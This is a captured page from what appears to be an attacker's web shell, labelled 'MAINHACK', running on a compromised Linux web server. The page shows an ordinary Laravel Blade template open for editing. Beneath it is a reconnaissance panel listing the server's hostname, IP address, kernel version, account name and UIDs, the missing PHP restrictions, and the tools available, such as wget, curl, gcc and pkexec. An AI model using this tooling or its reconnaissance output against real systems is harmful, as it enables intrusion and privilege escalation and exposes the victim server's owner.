[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: terms.blade.php
@extends('layouts.backend') @section('title', "Edit language terms") @push('css') <style> .language-terms{ } </style> @endpush @section('content') <x-container title="Edit language terms" buttonTitle="Back" buttonRoute="{{ route('language.index') }}"> <p><i class="fa fa-info-circle"></i> You are translating <b>English</b> to <b>{{ $language->name }}</b></p> <form action="{{ route('language.terms.update', $language->id) }}" method="post" class="row" enctype="multipart/form-data"> @csrf <x-form.select onchange="changeLanguageModuleHandler(this.value)" name="module" label="Module" col="col-md-12"> @foreach($modules as $module) <option {{ request('module') == $module? 'selected':'' }} value="{{ $module }}">{{ ucfirst($module) }}</option> @endforeach </x-form.select> <div></div> <div class="language-terms"> @foreach($jsonString as $key => $value) <div class="row mb-1"> <div class="col-md-6 input-component"> <input type="hidden" name="str_key[]" value="{{ $key }}"> <input readonly="readonly" type="text" class="form-control disabled text-capitalize" value="{{ str_replace('_',' ', $key) }}"> </div> <div class="col-md-6 input-component"> <input type="text" class="form-control" value="{{ $value }}" name="str_value[]"> </div> </div> @endforeach </div> <x-form.button></x-form.button> </form> </x-container> @endsection @push('js') <script> const changeLanguageModuleHandler = (module) => { let currentUrl = new URL(window.location.href); currentUrl.searchParams.set('module', module) window.location.href = currentUrl.href; } </script> @endpush
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.9 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002